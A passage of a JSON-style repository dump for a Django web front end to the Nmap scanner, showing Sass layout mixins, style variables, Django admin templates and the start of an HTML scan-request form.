33.3333333333%; clear: none; margin-left: 0; }\r\n\t\t\t.\\33 u#{$x}, .\\33 u\\24#{$x} { width: 25%; clear: none; margin-left: 0; }\r\n\t\t\t.\\32 u#{$x}, .\\32 u\\24#{$x} { width: 16.6666666667%; clear: none; margin-left: 0; }\r\n\t\t\t.\\31 u#{$x}, .\\31 u\\24#{$x} { width: 8.3333333333%; clear: none; margin-left: 0; }\r\n\r\n\t\t\t.\\31 2u\\24#{$x} + *,\r\n\t\t\t.\\31 1u\\24#{$x} + *,\r\n\t\t\t.\\31 0u\\24#{$x} + *,\r\n\t\t\t.\\39 u\\24#{$x} + *,\r\n\t\t\t.\\38 u\\24#{$x} + *,\r\n\t\t\t.\\37 u\\24#{$x} + *,\r\n\t\t\t.\\36 u\\24#{$x} + *,\r\n\t\t\t.\\35 u\\24#{$x} + *,\r\n\t\t\t.\\34 u\\24#{$x} + *,\r\n\t\t\t.\\33 u\\24#{$x} + *,\r\n\t\t\t.\\32 u\\24#{$x} + *,\r\n\t\t\t.\\31 u\\24#{$x} + * {\r\n\t\t\t\tclear: left;\r\n\t\t\t}\r\n\r\n\t\t\t.\\-11u#{$x} { margin-left: 91.6666666667% }\r\n\t\t\t.\\-10u#{$x} { margin-left: 83.3333333333% }\r\n\t\t\t.\\-9u#{$x} { margin-left: 75% }\r\n\t\t\t.\\-8u#{$x} { margin-left: 66.6666666667% }\r\n\t\t\t.\\-7u#{$x} { margin-left: 58.3333333333% }\r\n\t\t\t.\\-6u#{$x} { margin-left: 50% }\r\n\t\t\t.\\-5u#{$x} { margin-left: 41.6666666667% }\r\n\t\t\t.\\-4u#{$x} { margin-left: 33.3333333333% }\r\n\t\t\t.\\-3u#{$x} { margin-left: 25% }\r\n\t\t\t.\\-2u#{$x} { margin-left: 16.6666666667% }\r\n\t\t\t.\\-1u#{$x} { margin-left: 8.3333333333% }\r\n\r\n\t}\r\n\r\n\t/// Utility mixin for grid.\r\n\t/// @param {list} $gutters Gutters.\r\n\t/// @param {string} $class Optional class name.\r\n\t/// @param {integer} $multiplier Multiplier (default is 1).\r\n\t@mixin grid-gutters($gutters, $class: null, $multiplier: 1) {\r\n\r\n\t\t// Expand gutters if it's not a list.\r\n\t\t\t@if length($gutters) == 1 {\r\n\t\t\t\t$gutters: ($gutters, 0);\r\n\t\t\t}\r\n\r\n\t\t// Get column and row gutter values.\r\n\t\t\t$c: nth($gutters, 1);\r\n\t\t\t$r: nth($gutters, 2);\r\n\r\n\t\t// Get class (if provided).\r\n\t\t\t$x: '';\r\n\r\n\t\t\t@if $class {\r\n\t\t\t\t$x: '.' + $class;\r\n\t\t\t}\r\n\r\n\t\t// Default.\r\n\t\t\t.row#{$x} > * { padding: ($r * $multiplier) 0 0 ($c * $multiplier); }\r\n\t\t\t.row#{$x} { margin: ($r * $multiplier * -1) 0 -1px ($c * $multiplier * -1); }\r\n\r\n\t\t// Uniform.\r\n\t\t\t.row.uniform#{$x} > * { padding: ($c * $multiplier) 0 0 ($c * $multiplier); }\r\n\t\t\t.row.uniform#{$x} { margin: ($c * $multiplier * -1) 0 -1px ($c * $multiplier * -1); }\r\n\r\n\t}\r\n\r\n\t/// Wraps @content in vendorized keyframe blocks.\r\n\t/// @param {string} $name Name.\r\n\t@mixin keyframes($name) {\r\n\r\n\t\t@-moz-keyframes #{$name} { @content; }\r\n\t\t@-webkit-keyframes #{$name} { @content; }\r\n\t\t@-ms-keyframes #{$name} { @content; }\r\n\t\t@keyframes #{$name} { @content; }\r\n\r\n\t}\r\n\r\n\t///\r\n\t/// Sets breakpoints.\r\n\t/// @param {map} $x Breakpoints.\r\n\t///\r\n\t@mixin skel-breakpoints($x: ()) {\r\n\t\t$breakpoints: $x !global;\r\n\t}\r\n\r\n\t///\r\n\t/// Initializes layout module.\r\n\t/// @param {map} config Config.\r\n\t///\r\n\t@mixin skel-layout($config: ()) {\r\n\r\n\t\t// Config.\r\n\t\t\t$configPerBreakpoint: ();\r\n\r\n\t\t\t$z: map-get($config, 'breakpoints');\r\n\r\n\t\t\t@if $z {\r\n\t\t\t\t$configPerBreakpoint: $z;\r\n\t\t\t}\r\n\r\n\t\t// Reset.\r\n\t\t\t$x: map-get($config, 'reset');\r\n\r\n\t\t\t@if $x {\r\n\r\n\t\t\t\t/* Reset */\r\n\r\n\t\t\t\t@include reset($x);\r\n\r\n\t\t\t}\r\n\r\n\t\t// Box model.\r\n\t\t\t$x: map-get($config, 'boxModel');\r\n\r\n\t\t\t@if $x {\r\n\r\n\t\t\t\t/* Box Model */\r\n\r\n\t\t\t\t@include boxModel($x);\r\n\r\n\t\t\t}\r\n\r\n\t\t// Containers.\r\n\t\t\t$containers: map-get($config, 'containers');\r\n\r\n\t\t\t@if $containers {\r\n\r\n\t\t\t\t/* Containers */\r\n\r\n\t\t\t\t.container {\r\n\t\t\t\t\tmargin-left: auto;\r\n\t\t\t\t\tmargin-right: auto;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t// Use default is $containers is just \"true\".\r\n\t\t\t\t\t@if $containers == true {\r\n\t\t\t\t\t\t$containers: 960px;\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t// Apply base.\r\n\t\t\t\t\t@include containers($containers);\r\n\r\n\t\t\t\t// Apply per-breakpoint.\r\n\t\t\t\t\t@each $name in map-keys($breakpoints) {\r\n\r\n\t\t\t\t\t\t// Get/use breakpoint setting if it exists.\r\n\t\t\t\t\t\t\t$x: map-get($configPerBreakpoint, $name);\r\n\r\n\t\t\t\t\t\t\t// Per-breakpoint config exists?\r\n\t\t\t\t\t\t\t\t@if $x {\r\n\t\t\t\t\t\t\t\t\t$y: map-get($x, 'containers');\r\n\r\n\t\t\t\t\t\t\t\t\t// Setting exists? Use it.\r\n\t\t\t\t\t\t\t\t\t\t@if $y {\r\n\t\t\t\t\t\t\t\t\t\t\t$containers: $y;\r\n\t\t\t\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t// Create @media block.\r\n\t\t\t\t\t\t\t@media screen and #{map-get($breakpoints, $name)} {\r\n\t\t\t\t\t\t\t\t@include containers($containers);\r\n\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t}\r\n\r\n\t\t\t}\r\n\r\n\t\t// Grid.\r\n\t\t\t$grid: map-get($config, 'grid');\r\n\r\n\t\t\t@if $grid {\r\n\r\n\t\t\t\t/* Grid */\r\n\r\n\t\t\t\t// Use defaults if $grid is just \"true\".\r\n\t\t\t\t\t@if $grid == true {\r\n\t\t\t\t\t\t$grid: ();\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t// Sub-setting: Gutters.\r\n\t\t\t\t\t$grid-gutters: 40px;\r\n\t\t\t\t\t$x: map-get($grid, 'gutters');\r\n\r\n\t\t\t\t\t@if $x {\r\n\t\t\t\t\t\t$grid-gutters: $x;\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t// Rows.\r\n\t\t\t\t\t.row {\r\n\t\t\t\t\t\tborder-bottom: solid 1px transparent;\r\n\t\t\t\t\t\t-moz-box-sizing: border-box;\r\n\t\t\t\t\t\t-webkit-box-sizing: border-box;\r\n\t\t\t\t\t\tbox-sizing: border-box;\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\t.row > * {\r\n\t\t\t\t\t\tfloat: left;\r\n\t\t\t\t\t\t-moz-box-sizing: border-box;\r\n\t\t\t\t\t\t-webkit-box-sizing: border-box;\r\n\t\t\t\t\t\tbox-sizing: border-box;\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\t.row:after, .row:before {\r\n\t\t\t\t\t\tcontent: '';\r\n\t\t\t\t\t\tdisplay: block;\r\n\t\t\t\t\t\tclear: both;\r\n\t\t\t\t\t\theight: 0;\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\t.row.uniform > * > :first-child {\r\n\t\t\t\t\t\tmargin-top: 0;\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\t.row.uniform > * > :last-child {\r\n\t\t\t\t\t\tmargin-bottom: 0;\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t// Gutters (0%).\r\n\t\t\t\t\t@include grid-gutters($grid-gutters, \\30 \\25, 0);\r\n\r\n\t\t\t\t// Apply base.\r\n\t\t\t\t\t@include grid($grid-gutters);\r\n\r\n\t\t\t\t// Apply per-breakpoint.\r\n\t\t\t\t\t@each $name in map-keys($breakpoints) {\r\n\r\n\t\t\t\t\t\t// Get/use breakpoint setting if it exists.\r\n\t\t\t\t\t\t\t$x: map-get($configPerBreakpoint, $name);\r\n\r\n\t\t\t\t\t\t\t// Per-breakpoint config exists?\r\n\t\t\t\t\t\t\t\t@if $x {\r\n\t\t\t\t\t\t\t\t\t$y: map-get($x, 'grid');\r\n\r\n\t\t\t\t\t\t\t\t\t// Setting exists?\r\n\t\t\t\t\t\t\t\t\t\t@if $y {\r\n\r\n\t\t\t\t\t\t\t\t\t\t\t// Sub-setting: Gutters.\r\n\t\t\t\t\t\t\t\t\t\t\t\t$x: map-get($y, 'gutters');\r\n\r\n\t\t\t\t\t\t\t\t\t\t\t\t@if $x {\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t$grid-gutters: $x;\r\n\t\t\t\t\t\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t// Create @media block.\r\n\t\t\t\t\t\t\t@media screen and #{map-get($breakpoints, $name)} {\r\n\t\t\t\t\t\t\t\t@include grid($grid-gutters, $name);\r\n\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t}\r\n\r\n\t\t\t}\r\n\r\n\t}\r\n\r\n\t/// Resets browser styles.\r\n\t/// @param {string} $mode Mode (default is 'normalize').\r\n\t@mixin reset($mode: 'normalize') {\r\n\r\n\t\t@if $mode == 'normalize' {\r\n\r\n\t\t\t// normalize.css v3.0.2 | MIT License | git.io/normalize\r\n\t\t\t\thtml{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background-color:transparent}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:700}dfn{font-style:italic}h1{font-size:2em;margin:.67em 0}mark{background:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sup{top:-.5em}sub{bottom:-.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{-moz-box-sizing:content-box;box-sizing:content-box;height:0}pre{overflow:auto}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}button,input,optgroup,select,textarea{color:inherit;font:inherit;margin:0}button{overflow:visible}button,select{text-transform:none}button,html input[type=button],input[type=reset],input[type=submit]{-webkit-appearance:button;cursor:pointer}button[disabled],html input[disabled]{cursor:default}button::-moz-focus-inner,input::-moz-focus-inner{border:0;padding:0}input{line-height:normal}input[type=checkbox],input[type=radio]{box-sizing:border-box;padding:0}input[type=number]::-webkit-inner-spin-button,input[type=number]::-webkit-outer-spin-button{height:auto}input[type=search]{-webkit-appearance:textfield;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;box-sizing:content-box}input[type=search]::-webkit-search-cancel-button,input[type=search]::-webkit-search-decoration{-webkit-appearance:none}fieldset{border:1px solid silver;margin:0 2px;padding:.35em .625em .75em}legend{border:0;padding:0}textarea{overflow:auto}optgroup{font-weight:700}table{border-collapse:collapse;border-spacing:0}td,th{padding:0}\r\n\r\n\t\t}\r\n\t\t@else if $mode == 'full' {\r\n\r\n\t\t\t// meyerweb.com/eric/tools/css/reset v2.0 | 20110126 | License: none (public domain)\r\n\t\t\t\thtml,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,big,cite,code,del,dfn,em,img,ins,kbd,q,s,samp,small,strike,strong,sub,sup,tt,var,b,u,i,center,dl,dt,dd,ol,ul,li,fieldset,form,label,legend,table,caption,tbody,tfoot,thead,tr,th,td,article,aside,canvas,details,embed,figure,figcaption,footer,header,hgroup,menu,nav,output,ruby,section,summary,time,mark,audio,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline;}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block;}body{line-height:1;}ol,ul{list-style:none;}blockquote,q{quotes:none;}blockquote:before,blockquote:after,q:before,q:after{content:'';content:none;}table{border-collapse:collapse;border-spacing:0;}body{-webkit-text-size-adjust:none}\r\n\r\n\t\t}\r\n\r\n\t}\r\n\r\n\t/// Vendorizes a declaration's property and/or value(s).\r\n\t/// @param {string} $property Property.\r\n\t/// @param {mixed} $value String/list of value(s).\r\n\t@mixin vendor($property, $value) {\r\n\r\n\t\t// Determine if property should expand.\r\n\t\t\t$expandProperty: index($vendor-properties, $property);\r\n\r\n\t\t// Determine if value should expand (and if so, add '-prefix-' placeholder).\r\n\t\t\t$expandValue: false;\r\n\r\n\t\t\t@each $x in $value {\r\n\t\t\t\t@each $y in $vendor-values {\r\n\t\t\t\t\t@if $y == str-slice($x, 1, str-length($y)) {\r\n\r\n\t\t\t\t\t\t$value: set-nth($value, index($value, $x), '-prefix-' + $x);\r\n\t\t\t\t\t\t$expandValue: true;\r\n\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t// Expand property?\r\n\t\t\t@if $expandProperty {\r\n\t\t\t    @each $vendor in $vendor-prefixes {\r\n\t\t\t        #{$vendor}#{$property}: #{str-replace-all($value, '-prefix-', $vendor)};\r\n\t\t\t    }\r\n\t\t\t}\r\n\r\n\t\t// Expand just the value?\r\n\t\t\t@elseif $expandValue {\r\n\t\t\t    @each $vendor in $vendor-prefixes {\r\n\t\t\t        #{$property}: #{str-replace-all($value, '-prefix-', $vendor)};\r\n\t\t\t    }\r\n\t\t\t}\r\n\r\n\t\t// Neither? Treat them as a normal declaration.\r\n\t\t\t@else {\r\n\t\t        #{$property}: #{$value};\r\n\t\t\t}\r\n\r\n\t}"
  },
  {
    "path": "rainmap-lite/nmaper/static/sass/libs/_vars.scss",
    "content": "// Misc.\r\n\t$misc: (\r\n\t\tz-index-base:\t\t10000,\r\n\t\tmax-features:\t\t20,\r\n\t\tmax-sidebar-links:\t20\r\n\t);\r\n\r\n// Duration.\r\n\t$duration: (\r\n\t\ttransition:\t\t\t0.2s,\r\n\t\tactivation:\t\t\t1s\r\n\t);\r\n\r\n// Size.\r\n\t$size: (\r\n\t\tborder-radius:\t\t0.25em,\r\n\t\tborder-width:\t\t1px,\r\n\t\telement-height:\t\t2.75em,\r\n\t\telement-margin:\t\t2em,\r\n\t\tsidebar-width:\t\t18em,\r\n\t\tsidebar-height:\t\t3.5em,\t// when <=large is active\r\n\t\tinner-width:\t\t75em\r\n\t);\r\n\r\n// Font.\r\n\t$font: (\r\n\t\tfamily:\t\t\t\t(Arial, Helvetica, sans-serif),\r\n\t\tfamily-fixed:\t\t('Courier New', monospace),\r\n\t\tweight:\t\t\t\tnormal,\r\n\t\tweight-bold:\t\tbold,\r\n\t\tkerning-alt:\t\t0.25em\r\n\t);\r\n\r\n// Palette.\r\n\t$palette: (\r\n\t\tbg:\t\t\t\t\t#312450,\r\n\t\tbg-alt:\t\t\t\tdarken(#312450, 5),\r\n\t\tfg:\t\t\t\t\trgba(255,255,255,0.55),\r\n\t\tfg-bold:\t\t\t#ffffff,\r\n\t\tfg-light:\t\t\trgba(255,255,255,0.35),\r\n\t\tborder:\t\t\t\trgba(255,255,255,0.15),\r\n\t\tborder-bg:\t\t\trgba(255,255,255,0.05),\r\n\t\taccent1:\t\t\t#5e42a6,\r\n\t\taccent1-alt:\t\tdarken(#5e42a6, 10),\r\n\t\taccent2:\t\t\t#5052b5,\r\n\t\taccent2-alt:\t\tdarken(#5052b5, 10),\r\n\t\taccent3:\t\t\t#b74e91,\r\n\t\taccent3-alt:\t\tdarken(#b74e91, 10)\r\n\t);"
  },
  {
    "path": "rainmap-lite/nmaper/static/sass/main.scss",
    "content": "@import 'libs/vars';\r\n@import 'libs/functions';\r\n@import 'libs/mixins';\r\n@import 'libs/skel';\r\n@import 'font-awesome.min.css';\r\n\r\n/*\r\n\tHyperspace by HTML5 UP\r\n\thtml5up.net | @n33co\r\n\tFree for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n*/\r\n\r\n\t@include skel-breakpoints((\r\n\t\txlarge: '(max-width: 1680px)',\r\n\t\tlarge: '(max-width: 1280px)',\r\n\t\tmedium: '(max-width: 980px)',\r\n\t\tsmall: '(max-width: 736px)',\r\n\t\txsmall: '(max-width: 480px)',\r\n\t\txxsmall: '(max-width: 360px)'\r\n\t));\r\n\r\n\t@include skel-layout((\r\n\t\treset: 'full',\r\n\t\tboxModel: 'border',\r\n\t\tgrid: ( gutters: 1.5em )\r\n\t));\r\n\r\n// Base.\r\n\r\n\t@import 'base/page';\r\n\t@import 'base/typography';\r\n\r\n// Component.\r\n\r\n\t@import 'components/box';\r\n\t@import 'components/button';\r\n\t@import 'components/features';\r\n\t@import 'components/form';\r\n\t@import 'components/icon';\r\n\t@import 'components/image';\r\n\t@import 'components/list';\r\n\t@import 'components/section';\r\n\t@import 'components/split';\r\n\t@import 'components/spotlights';\r\n\t@import 'components/table';\r\n\t@import 'components/wrapper';\r\n\r\n// Layout.\r\n\r\n\t@import 'layout/header';\r\n\t@import 'layout/wrapper';\r\n\t@import 'layout/footer';\r\n\t@import 'layout/sidebar';\r\n\t@import 'layout/intro';"
  },
  {
    "path": "rainmap-lite/nmaper/templates/admin/base_site.html",
    "content": "{% extends \"admin/base.html\" %}\n\n{% block title %}RainmapLite | Administration{% endblock %}\n\n{% block branding %}\n<h1 id=\"site-name\"><a href=\"{% url 'admin:index' %}\">RainmapLite Administration</a></h1>\n{% endblock %}\n\n{% block nav-global %}{% endblock %}\n"
  },
  {
    "path": "rainmap-lite/nmaper/templates/admin/index.html",
    "content": "{% extends \"admin/index.html\" %}\n{% load i18n admin_static %}\n\n{% block sidebar %}\n<div id=\"content-related\">\n    <div class=\"module\" id=\"recent-actions-module\">\n        <h2>{% trans 'Recent Actions' %}</h2>\n        <h3>{% trans 'My Actions' %}</h3>\n            {% load log %}\n            {% get_admin_log 10 as admin_log for_user user %}\n            {% if not admin_log %}\n            <p>{% trans 'None available' %}</p>\n            {% else %}\n            <ul class=\"actionlist\">\n            {% for entry in admin_log %}\n            <li class=\"{% if entry.is_addition %}addlink{% endif %}{% if entry.is_change %}changelink{% endif %}{% if entry.is_deletion %}deletelink{% endif %}\">\n                {% if entry.is_deletion or not entry.get_admin_url %}\n                    {{ entry.object_repr }}\n                {% else %}\n                    <a href=\"{{ entry.get_admin_url }}\">{{ entry.object_repr }}</a>\n                {% endif %}\n                <br/>\n                {% if entry.content_type %}\n                    <span class=\"mini quiet\">{% filter capfirst %}{{ entry.content_type }}{% endfilter %}</span>\n                {% else %}\n                    <span class=\"mini quiet\">{% trans 'Unknown content' %}</span>\n                {% endif %}\n            </li>\n            {% endfor %}\n            </ul>\n            {% endif %}\n    </div>\n    {% for permission in user.get_all_permissions %}\n       {% if permission == 'admin.delete_logentry' %}\n          <a href=\"{% url 'clear-logs' %}\" style=\"padding-left: 18px;\">{% trans 'Clear logs' %}</a>\n      {% endif %}\n    {% endfor %}\n</div>\n{% endblock %}\n"
  },
  {
    "path": "rainmap-lite/nmaper/templates/admin/nmaper/nmap_scan/change_list.html",
    "content": "{% extends \"admin/base_site.html\" %}\n{% load i18n admin_urls admin_static admin_list %}\n\n{% block extrastyle %}\n  {{ block.super }}\n  <link rel=\"stylesheet\" type=\"text/css\" href=\"{% static \"admin/css/changelists.css\" %}\" />\n  {% if cl.formset %}\n    <link rel=\"stylesheet\" type=\"text/css\" href=\"{% static \"admin/css/forms.css\" %}\" />\n  {% endif %}\n  {% if cl.formset or action_form %}\n    <script type=\"text/javascript\" src=\"{% url 'admin:jsi18n' %}\"></script>\n  {% endif %}\n  {{ media.css }}\n  {% if not actions_on_top and not actions_on_bottom %}\n    <style>\n      #changelist table thead th:first-child {width: inherit}\n    </style>\n  {% endif %}\n{% endblock %}\n\n{% block extrahead %}\n{{ block.super }}\n{{ media.js }}\n{% if action_form %}{% if actions_on_top or actions_on_bottom %}\n<script type=\"text/javascript\">\n(function($) {\n    $(document).ready(function($) {\n        $(\"tr input.action-select\").actions();\n    });\n})(django.jQuery);\n</script>\n{% endif %}{% endif %}\n{% endblock %}\n\n{% block bodyclass %}{{ block.super }} app-{{ opts.app_label }} model-{{ opts.model_name }} change-list{% endblock %}\n\n{% if not is_popup %}\n{% block breadcrumbs %}\n<div class=\"breadcrumbs\">\n<a href=\"{% url 'admin:index' %}\">{% trans 'Home' %}</a>\n&rsaquo; <a href=\"{% url 'admin:app_list' app_label=cl.opts.app_label %}\">{{ cl.opts.app_config.verbose_name }}</a>\n&rsaquo; {{ cl.opts.verbose_name_plural|capfirst }}\n</div>\n{% endblock %}\n{% endif %}\n\n{% block coltype %}flex{% endblock %}\n\nTEST\n\n{% block content %}\n  <div id=\"content-main\">\n    {% block object-tools %}\n      {% if has_add_permission %}\n        <ul class=\"object-tools\">\n          {% block object-tools-items %}\n            <li>\n              {% url cl.opts|admin_urlname:'add' as add_url %}\n              <a href=\"{% add_preserved_filters add_url is_popup to_field %}\" class=\"addlink\">\n                {% blocktrans with cl.opts.verbose_name as name %}Add {{ name }}{% endblocktrans %}\n              </a>\n            </li>\n          {% endblock %}\n        </ul>\n      {% endif %}\n    {% endblock %}\n    {% if cl.formset.errors %}\n        <p class=\"errornote\">\n        {% if cl.formset.total_error_count == 1 %}{% trans \"Please correct the error below.\" %}{% else %}{% trans \"Please correct the errors below.\" %}{% endif %}\n        </p>\n        {{ cl.formset.non_form_errors }}\n    {% endif %}\n    <div class=\"module{% if cl.has_filters %} filtered{% endif %}\" id=\"changelist\">\n      {% block search %}{% search_form cl %}{% endblock %}\n      {% block date_hierarchy %}{% date_hierarchy cl %}{% endblock %}\n\n      {% block filters %}\n        {% if cl.has_filters %}\n          <div id=\"changelist-filter\">\n            <h2>{% trans 'Filter' %}</h2>\n            {% for spec in cl.filter_specs %}{% admin_list_filter cl spec %}{% endfor %}\n          </div>\n        {% endif %}\n      {% endblock %}\n\n      <form id=\"changelist-form\" method=\"post\"{% if cl.formset.is_multipart %} enctype=\"multipart/form-data\"{% endif %} novalidate>{% csrf_token %}\n      {% if cl.formset %}\n        <div>{{ cl.formset.management_form }}</div>\n      {% endif %}\n\n      {% block result_list %}\n          {% if action_form and actions_on_top and cl.show_admin_actions %}{% admin_actions %}{% endif %}\n          {% result_list cl %}\n          {% if action_form and actions_on_bottom and cl.show_admin_actions %}{% admin_actions %}{% endif %}\n      {% endblock %}\n      {% block pagination %}{% pagination cl %}{% endblock %}\n      </form>\n    </div>\n  </div>\n{% endblock %}\n"
  },
  {
    "path": "rainmap-lite/nmaper/templates/admin/nmaper/nmapscan/change_list.html",
    "content": "{% extends \"admin/base_site.html\" %}\n{% load i18n admin_urls admin_static admin_list %}\n\n{% block extrastyle %}\n  {{ block.super }}\n  <link rel=\"stylesheet\" type=\"text/css\" href=\"{% static \"admin/css/changelists.css\" %}\" />\n  {% if cl.formset %}\n    <link rel=\"stylesheet\" type=\"text/css\" href=\"{% static \"admin/css/forms.css\" %}\" />\n  {% endif %}\n  {% if cl.formset or action_form %}\n    <script type=\"text/javascript\" src=\"{% url 'admin:jsi18n' %}\"></script>\n  {% endif %}\n  {{ media.css }}\n  {% if not actions_on_top and not actions_on_bottom %}\n    <style>\n      #changelist table thead th:first-child {width: inherit}\n    </style>\n  {% endif %}\n{% endblock %}\n\n{% block extrahead %}\n{{ block.super }}\n{{ media.js }}\n{% if action_form %}{% if actions_on_top or actions_on_bottom %}\n<script type=\"text/javascript\">\n(function($) {\n    $(document).ready(function($) {\n        $(\"tr input.action-select\").actions();\n    });\n})(django.jQuery);\n</script>\n{% endif %}{% endif %}\n{% endblock %}\n\n{% block bodyclass %}{{ block.super }} app-{{ opts.app_label }} model-{{ opts.model_name }} change-list{% endblock %}\n\n{% if not is_popup %}\n{% block breadcrumbs %}\n<div class=\"breadcrumbs\">\n<a href=\"{% url 'admin:index' %}\">{% trans 'Home' %}</a>\n&rsaquo; <a href=\"{% url 'admin:app_list' app_label=cl.opts.app_label %}\">{{ cl.opts.app_config.verbose_name }}</a>\n&rsaquo; {{ cl.opts.verbose_name_plural|capfirst }}\n</div>\n{% endblock %}\n{% endif %}\n\n{% block coltype %}flex{% endblock %}\n\nTEST\n\n{% block content %}\n  <div id=\"content-main\">\n    {% block object-tools %}\n      {% if has_add_permission %}\n        <ul class=\"object-tools\">\n          {% block object-tools-items %}\n            <li>\n              {% url cl.opts|admin_urlname:'add' as add_url %}\n              <a href=\"{% add_preserved_filters add_url is_popup to_field %}\" class=\"addlink\">\n                {% blocktrans with cl.opts.verbose_name as name %}Add {{ name }}{% endblocktrans %}\n              </a>\n            </li>\n          {% endblock %}\n        </ul>\n      {% endif %}\n    {% endblock %}\n    {% if cl.formset.errors %}\n        <p class=\"errornote\">\n        {% if cl.formset.total_error_count == 1 %}{% trans \"Please correct the error below.\" %}{% else %}{% trans \"Please correct the errors below.\" %}{% endif %}\n        </p>\n        {{ cl.formset.non_form_errors }}\n    {% endif %}\n    <div class=\"module{% if cl.has_filters %} filtered{% endif %}\" id=\"changelist\">\n      {% block search %}{% search_form cl %}{% endblock %}\n      {% block date_hierarchy %}{% date_hierarchy cl %}{% endblock %}\n\n      {% block filters %}\n        {% if cl.has_filters %}\n          <div id=\"changelist-filter\">\n            <h2>{% trans 'Filter' %}</h2>\n            {% for spec in cl.filter_specs %}{% admin_list_filter cl spec %}{% endfor %}\n          </div>\n        {% endif %}\n      {% endblock %}\n\n      <form id=\"changelist-form\" method=\"post\"{% if cl.formset.is_multipart %} enctype=\"multipart/form-data\"{% endif %} novalidate>{% csrf_token %}\n      {% if cl.formset %}\n        <div>{{ cl.formset.management_form }}</div>\n      {% endif %}\n\n      {% block result_list %}\n          {% if action_form and actions_on_top and cl.show_admin_actions %}{% admin_actions %}{% endif %}\n          {% result_list cl %}\n          {% if action_form and actions_on_bottom and cl.show_admin_actions %}{% admin_actions %}{% endif %}\n      {% endblock %}\n      {% block pagination %}{% pagination cl %}{% endblock %}\n      </form>\n    </div>\n  </div>\n{% endblock %}\n"
  },
  {
    "path": "rainmap-lite/nmaper/templates/index.html",
    "content": "<!DOCTYPE HTML>\n<!--\n    Hyperspace by HTML5 UP\n    html5up.net | @n33co\n    Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\n-->\n<html>\n    <head>\n        <title>RainmapLite</title>\n        <meta charset=\"utf-8\" />\n        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\" />\n        <!--[if lte IE 8]><script src=\"static/js/ie/html5shiv.js\"></script><![endif]-->\n        <link rel=\"stylesheet\" href=\"static/css/main.css\" />\n        <!--[if lte IE 9]><link rel=\"stylesheet\" href=\"static/css/ie9.css\" /><![endif]-->\n        <!--[if lte IE 8]><link rel=\"stylesheet\" href=\"static/css/ie8.css\" /><![endif]-->\n    </head>\n    <body>\n\n    <!-- Sidebar -->\n        <section id=\"sidebar\">\n            <div class=\"inner\">\n                <nav>\n                    <ul>\n                        <li><a href=\"#\">RainmapLite</a></li>\n                    </ul>\n                </nav>\n            </div>\n        </section>\n\n    <!-- Wrapper -->\n        <div id=\"wrapper\">\n\n    <!-- Three -->\n        <section id=\"three\" class=\"wrapper style1 fade-up\">\n            <div class=\"inner\">\n                <h2>RainmapLite</h2>\n                <p>Enter email address and target, select a scanning profile and scan!</p>\n{% if popup_message %}<p><blockquote><strong>{{ popup_message }}</strong></blockquote></p>{% endif %}\n    <div class=\"split style1\">\n        <section>\n            <form method=\"post\" action=\"/\">\n                {% csrf_token %}\n                <div class=\"field\">\n                    <label for=\"target\">Target(s)</label>\n                    <input type=\"text\" name=\"target_text\" id=\"target\" />\n                </div>\n                <div class=\"field half first\">\n                    <label for=\"profile\">Profile</label>\n                    <select name = \"profile\">\n                    {% for profile in profiles %}\n                        <option value=\"{{profile.id}}\">{{ profile.alias_text }}</option>\n                    {% endfor %}\n                    </select>\n                </div>\n                <div class=\"field half\">\n                    <label for=\"email\">Email</label>\n                    <input type=\"text\" name=\"email_text\" id=\"email\" />\n                </div>\n                <input id=\"customCheckbox\" type=\"checkbox\" name=\"customCheckbox\" value=\"custom\n                \" onclick='$(\".custom\").toggle();' /><label for=\"customCheckbox\">Custom Nmap arguments</label>\n                <div class=\"field\">\n\n    <div class=\"custom\">\n    <textarea name=\"cmd_text\" id=\"command\" rows=\"5\"></textarea>\n    </div>\n</div>\n<ul class=\"actions\">\n    <li>\n    <input type=\"submit\" class=\"special\" value=\"Scan\" />\n    </li>\n</ul>\n</form>\n</section>\n<section>\n    <ul class=\"contact\">\n        <h2>\n            Available profiles\n        </h2>\n        {% for profile in profiles %}\n        <li>\n            <h3>{{profile.alias_text}}</h3>\n            <span>{{profile.args_text}}</span>\n        </li>\n        {% endfor %}\n    </ul>\n</section>\n</div>\n</div>\n</section>\n\n    </div>\n\n    <!-- Footer -->\n        <footer id=\"footer\" class=\"wrapper style1-alt\">\n            <div class=\"inner\">\n                <ul class=\"menu\">\n                    <li>&copy; RainmapLite (Beta).</li>\n                </ul>\n            </div>\n        </footer>\n\n    <!-- Scripts -->\n        <script src=\"static/js/jquery.min.js\"></script>\n        <script src=\"static/js/jquery.scrollex.min.js\"></script>\n        